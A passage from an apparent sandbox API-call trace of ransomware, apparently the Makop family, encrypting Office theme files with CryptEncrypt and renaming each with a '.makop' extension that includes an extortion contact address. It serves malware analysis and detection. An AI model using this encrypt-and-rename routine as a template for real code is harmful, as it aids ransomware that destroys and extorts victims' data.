lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0100.116] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0100.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.117] GetProcessHeap () returned 0x48a0000 [0100.117] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.117] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.117] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.117] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0100.123] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.123] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.123] GetProcessHeap () returned 0x48a0000 [0100.123] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.123] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.123] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.123] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.123] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.123] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.123] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.124] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.124] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.124] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.124] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.124] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.124] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5534, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x5534, lpOverlapped=0x0) returned 1 [0100.126] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x5540, dwBufLen=0x5540 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x5540) returned 1 [0100.126] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.126] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x5540, lpOverlapped=0x0) returned 1 [0100.127] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.127] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x5614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.127] SetEndOfFile (hFile=0x138) returned 1 [0100.134] GetProcessHeap () returned 0x48a0000 [0100.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.134] GetProcessHeap () returned 0x48a0000 [0100.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.134] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0100.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.135] CloseHandle (hObject=0x138) returned 1 [0100.136] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0100.136] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0100.136] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0100.136] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING") returned 62 [0100.136] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*") returned 66 [0100.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0100.137] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.137] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0100.137] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0100.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.138] GetProcessHeap () returned 0x48a0000 [0100.138] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.138] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.138] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.138] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0100.142] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.142] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.142] GetProcessHeap () returned 0x48a0000 [0100.142] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.142] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.142] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.142] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.142] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.142] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.143] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.143] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.143] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.143] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.143] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.143] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.143] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9df, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x9df, lpOverlapped=0x0) returned 1 [0100.143] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x9e0) returned 1 [0100.143] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.144] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x9e0, lpOverlapped=0x0) returned 1 [0100.144] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.144] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.144] SetEndOfFile (hFile=0x138) returned 1 [0100.152] GetProcessHeap () returned 0x48a0000 [0100.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.152] GetProcessHeap () returned 0x48a0000 [0100.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.152] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0100.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.154] CloseHandle (hObject=0x138) returned 1 [0100.154] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0100.154] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM") returned 73 [0100.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.161] GetProcessHeap () returned 0x48a0000 [0100.161] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.162] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.162] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.162] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0100.233] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.233] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.233] GetProcessHeap () returned 0x48a0000 [0100.233] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0100.233] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0100.234] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.234] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0100.234] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.234] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.234] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.234] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.235] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.235] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.235] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.235] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.235] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10af1, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x10af1, lpOverlapped=0x0) returned 1 [0100.237] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x10b00, dwBufLen=0x10b00 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x10b00) returned 1 [0100.238] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.238] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10b00, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x10b00, lpOverlapped=0x0) returned 1 [0100.239] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.239] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x10bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.239] SetEndOfFile (hFile=0x138) returned 1 [0100.246] GetProcessHeap () returned 0x48a0000 [0100.246] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0100.246] GetProcessHeap () returned 0x48a0000 [0100.246] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.246] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0100.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.251] CloseHandle (hObject=0x138) returned 1 [0100.251] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0100.252] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF") returned 73 [0100.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.253] GetProcessHeap () returned 0x48a0000 [0100.254] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.254] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.254] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.254] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0100.257] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.258] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.258] GetProcessHeap () returned 0x48a0000 [0100.258] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0100.258] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0100.258] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.258] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0100.259] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.259] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.259] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.259] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: 